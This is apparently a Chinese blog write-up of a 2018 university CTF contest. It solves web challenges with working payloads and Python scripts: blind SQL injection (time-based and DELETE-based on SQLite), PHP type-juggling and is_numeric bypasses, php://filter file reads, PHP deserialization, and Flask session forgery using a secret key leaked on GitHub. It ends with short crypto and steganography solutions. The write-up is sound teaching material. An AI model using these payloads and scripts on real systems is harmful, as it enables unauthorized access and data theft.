美文网首页
2018中原工学院网络安全校赛

2018中原工学院网络安全校赛

作者: BerL1n | 来源:发表于2018-12-23 21:40 被阅读0次

    趁着周日没事,去瞅一波别人家的校赛。。。emmm,,,,,,

    WEB

    web1签到

    打开后是他们团队的一个宣传主页,不能右键,以为像往常的题一样,看下源代码就行了,结果啥也没有

    然后瞅了一眼响应头,发现问题了


    image.png

    打开txt后是PHP代码

    <?php
    $flag = "***";
    if (isset($_GET['repo'])) {  
        if (strcmp($_GET['repo'], $flag) == 0) 
            die('Flag: '.$flag);  
        else  
            print 'No';  
    }
    

    题目要求让repo与flag字符串相等就输出flag,显然不可能,因为不知道flag是多少,知道了也不做了,,emm
    乍看也算是个比较严密的验证逻辑,strcmp()函数也只能处理字符串参数,传个数组进去就能返回false,又由于它与0的比较用的是==而非===(允许类型转换后比较),就满足了这个 if 的条件。Payload:?repo[]=a

    婉儿(sql)

    这题出来就是注入提示


    image.png

    尝试了一番很多关键字都被过滤了,=、union、database()都不能用,一般的注入都不行,就尝试盲注了
    smile大菜鸡给的payload:
    39.108.109.85:9001?id=1%26%26if(((select schema_name from information_schema.SCHEMATA limit 0,1) regexp 'c'),sleep(5),1) #
    然后


    image.png
    看到有报错,尝试用脚本去跑数据库,跑出来的不对,结果提交不对,可能脚本错了,没跑全,直到最后结束,
    image.png

    什么鬼?这不就是


    image.png

    payload直接就出库了,,,醉了,,
    然后各路神仙的骚套路
    id=1 or exp(~id)


    image.png
    id=1 or linestring(id)
    image.png

    id=if(exp(~id),1,2),,,类似的if(payload,1,2)都可以

    附上脚本,这个可以跑全

    import requests
    
    flag = ""
    payload = "select group_concat(schema_name) from information_schema.schemata"
    for i in range(1,50):
        for j in "qazxswedcvfrtgbnhyujmkiolp1234567890@,!+_":
            url = f"http://39.108.109.85:9001/?id=if(mid(({payload}),{i},1) regexp '{j}',1,2)"
            r = requests.get(url)
            if "Your id is 1" in r.text:
                flag += j
                break
        print(flag)
    
    image.png

    快一点

    代码审计

     <?php
    
    include 'flag.php';
    if(isset($_GET['t'])){
        $_COOKIE['bash_token'] = $_GET['t'];
    }else{
        die("You need get a 't'");
    }
    if(isset($_POST['sleep'])){
        if(!is_numeric($_POST['sleep'])){              
                                          
            echo 'Gime me a number plz.';
        }else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){   
            echo 'NoNoNo sleep too short.';
        }else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){
            echo 'NoNoNo sleep too long.';
        }else{
            sleep((int)$_POST['sleep']);  
            getFlag();
        }
    }else{
        highlight_file(__FILE__);
    }
    ?> 
    
    

    题目要求sleep是个数字,并在2592000和7776000之间,然后sleep这么长时间,给出flag。
    这题主要考察is_numeric()和int()的区别。前者支持普通数字型、科学记数法型、部分支持十六进制0x型,在is_numeric()支持的形式中,int()不能正确转换十六进制型、科学计数法型。
    因此可以构造6e6、0x4F1A01。

    文件上传

    想到文件上传,就想到一句话上传文件,然后getshell,常规套路,然后无非就是一些waf的绕过
    没想到这题真狗啊,没fuzz,,,,
    常规的不能上传php,等文件,可以上传图片,也可以绕过前端抓包上传带有一句话的图片,但结果过上传啥都显示一句上传成功,没路径,怎么getshell??


    image.png image.png

    没路径,就一个js弹窗。。。
    结束后出题人说的pht
    真狗啊,上传pht都可以了


    image.png

    虽然出的题不难,,但是我不会,,,2333真香,,,,不得不说出题人都很有心思啊tql

    admin

    打开题后,提示不是admin
    然后查看源代码


    image.png

    这里利用到了php伪协议,否则无法的到admin,读取文件。。

    if(isset($user)&&(file_get_contents($user,'r')==="admin"))
    

    如何让file_get_contents($user,'r')==="admin"呢?
    用php的封装协议php://input,因为php://input可以得到原始的post数据:

    image.png

    这样便得到了admin的权限
    然后读取class.php文件,这里用到php的另一个封装协议:php://filter
    利用这个协议就可以读取任意文件了
    利用方法:php://filter/convert.base64-encode/resource=index.php
    这里把读取到的index.php的内容是base4的格式

    image.png

    解密的源码

    <?php
    error_reporting(0);
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
     
    if(isset($user)&&(file_get_contents($user,'r')==="admin")){
        echo "hello admin!<br>";
        if(preg_match("/flag/",$file)){
            exit();
        }else{
            include($file); //class.php
            $pass = unserialize($pass);
            echo $pass;
        }
    }else{
        echo "you are not admin ! ";
    }
     
    ?>
     
    <!--
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
     
    if(isset($user)&&(file_get_contents($user,'r')==="admin")){
        echo "hello admin!<br>";
        include($file); //class.php
    }else{
        echo "you are not admin ! ";
    }
     -->
    

    然后读class.php

    <?php
    error_reporting(0);
     
    class Read{//flag.php
        public $file;
        public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);    
            }
            return "__toString was called!";
        }
    }
    ?> 
    

    有源码来看这是一道反序列化题
    构造序列化字符串然后传进去读取flag,因为他过滤了flag不能直接读取

    class Read{//flag.php
        public $file='php://filter/read=convert.base64-encode/resource=flag.php';
        public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);    
            }
            return "__toString was called!";
        }
    }
    $pass=new Read()
    
    echo serialize($pass);
    

    payload:

    ?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
    
    post: admin
    
    image.png

    解密后得到flag

    留言板

    这题不会,膜一波官方wp
    刚开始做了很长时间没找到思路,
    只知道test,user两个号能登陆,不过是普通用户,没卵用


    image.png

    看到session后觉着这里能利用,解压前面的base64后,


    image.png

    突然想到换成admin去利用,不过这里不存在的,没私钥不可能登admin
    基本放弃,后来官方给了提示,图片地址很关键。。。


    image.png

    看了下图片地址
    https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg可以发现alipql这个人的github仓库: https://github.com/alipql 在homework这个库里面的homework2中可以找到一个非空的config.py配置文件:

    #!/usr/bin/env python3
    # coding=utf-8
    import os
    
    
    class Config():
        BaseDir = os.path.abspath(os.path.dirname(__file__))
        DB_FILE = os.path.join(BaseDir, 'dbfile.sql')
        SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE
        SQLALCHEMY_TRACK_MODIFICATIONS = True
        SQLALCHEMY_COMMIT_ON_TEARDOWN = True
        SECRET_KEY = 'dropseckey123'
    
    
    config = {
        'default': Config
    }
    

    从config.py配置文件中可得到secert_key、sql数据库类型。
    真是一波社工操作
    拿到secert_key后,利用它进行flask的session伪造
    脚本
    伪造session exp:https://github.com/noraj/flask-session-cookie-manager

    """ Flask Session Cookie Decoder/Encoder """
    __author__ = 'Wilson Sumanang, Alexandre ZANNI'
    
    # standard imports
    import sys
    import zlib
    from itsdangerous import base64_decode
    import ast
    
    # Lib for argument parsing
    import argparse
    
    # Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    
    # prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    
    # create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
    
    # create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
    
    # get args
    args = parser.parse_args()
    
    # external Imports
    from flask.sessions import SecureCookieSessionInterface
    
    
    class MockApp(object):
    
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    
    def session_cookie_encoder(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)
    
            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
    
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error]{}".format(e)
    
    
    def session_cookie_decoder(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if(secret_key==None):
                compressed = False
                payload = session_cookie_value
    
                if payload.startswith(b'.'):
                    compressed = True
                    payload = payload[1:]
    
                data = payload.split(".")[0]
    
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
    
                return data
            else:
                app = MockApp(secret_key)
    
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
    
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error]{}".format(e)
    
    
    if __name__ == "__main__":
        # find the option chosen
        if(args.subcommand == 'encode'):
            if(args.secret_key is not None and args.cookie_structure is not None):
                print(session_cookie_encoder(args.secret_key, args.cookie_structure))
        elif(args.subcommand == 'decode'):
            if(args.secret_key is not None and args.cookie_value is not None):
                print(session_cookie_decoder(args.cookie_value,args.secret_key))
            elif(args.cookie_value is not None):
                print(session_cookie_decoder(args.cookie_value))
    

    然后利用脚本去测试一下已知的test,可通过登录用户时返回的session验证SECRETKEY是否正确

    image.png

    可以利用,然后去伪造admin的session


    image.png

    这俩是登陆后的session去伪造,都一样可以用


    image.png
    image.png

    替换掉session,即可成功登录到admin账户获取管理权限。


    image.png image.png

    可以看到admin的加密密码是不存在的,所以爆破也是不可能的。从这可以得到一个tip,存在一个flag表和flag字段。

    delete布尔盲注

    对添加用户功能和删除用户功能稍微一测试,会发现删除用户功能是存在注入的,是delete的注入。从config.py的信息泄露中可以知道数据库为sqlite,导致很多函数不能用;由于又是个delete方式,导致很多姿势用不上。

    在这里轻微fuzz一下可发现只过滤了drop、update、delete等部分删表删flag改flag的关键字,而and、substr、selete、from、空格等未过滤,参数为单引号包裹,所以可组合一个payload:

    ' and substr((select flag from flag),1,1)=='f
    

    先增加用户,在删除用户时提交payload再进行布尔判断即可盲注flag。 例如增加111用户后再删除用户111


    image.png
    image.png

    成功删除用户,返回包不存在111,说明flag第一个字母为f。若改为
    usernamedel=111' and substr((select flag from flag),1,1)=='0

    image.png

    显示成功删除却依然存在111用户,没删除用户,说明第一位不为0,然后接下来写脚本去跑就行了

    #!/usr/bin/env python3
    
    # coding=utf-8
    
    import requests
    class sqliexp:
        def __init__(self):
            self.url = 'http://172.93.39.218:8888/admin'
            self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'
            self.flag = ''
    
        #增加111用户
        def adduser(self):
            cookies = {'session':self.session}
            data = {'username':'111','password':'111'}
            try:
                requests.post(url=self.url, cookies=cookies,data=data)
            except TimeoutError:
                exit(-1)
        def deluser(self,num):
            cookies = {'session':self.session}
            for strs in 'flag{}0123456789bcde':
                payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num,strs)
                data = {'usernamedel':payload}
                try:
                    response = requests.post(url=self.url,data=data,cookies=cookies)
                    if '111' not in response.text:
                        self.flag += strs
                        return 1
                except TimeoutError:
                    exit(-1)
    if __name__ == '__main__':
        exp = sqliexp()
        for num in range(1,39,1):
            exp.adduser()
            exp.deluser(num)
            print(exp.flag)
    
    image.png

    另附脚本:

    import requests
    
    url = "http://172.93.39.218:8888/admin"
    _cookies = {"session":"eyJuYW1lIjoiYWRtaW4ifQ.XB8bYA.JJ0tfi65cm3uS-ATDe9FNls4y_Y"}
    flag = "flag{db"
    
    for i in range(8,50):
        r= requests.post(url,cookies=_cookies,data={"username":"iv4n","password":"a"})
        for j in "1234567890qazxswedcvfrtgbnhyujmkiolp{}":
            r = requests.post(url,cookies=_cookies,data={"usernamedel":f"iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -"})
            if "iv4n" not in r.text:
                flag += j
                break
        print(flag)
    
    
    image.png

    CYPTO

    就给了一张图,本来不知道什么加密,上面放了张海伦的图,海伦是个盲人,盲文?(其实是问了学姐才知道的2333)

    image.png

    百度盲文表


    image.png

    然后对照是
    kmdonowg
    然后MD5加密得flag

    MISC

    中原工学院图书馆

    这道隐写题原来在windows下没分出来,kali下binwalk可以分出来一个压缩包,里面有txt文件,打开看
    可以看到文件头是png的,改为png

    image.png image.png image.png

    然后rot13

    image.png

    相关文章

      网友评论

          本文标题:2018中原工学院网络安全校赛

          本文链接:https://www.haomeiwen.com/subject/zhqnkqtx.html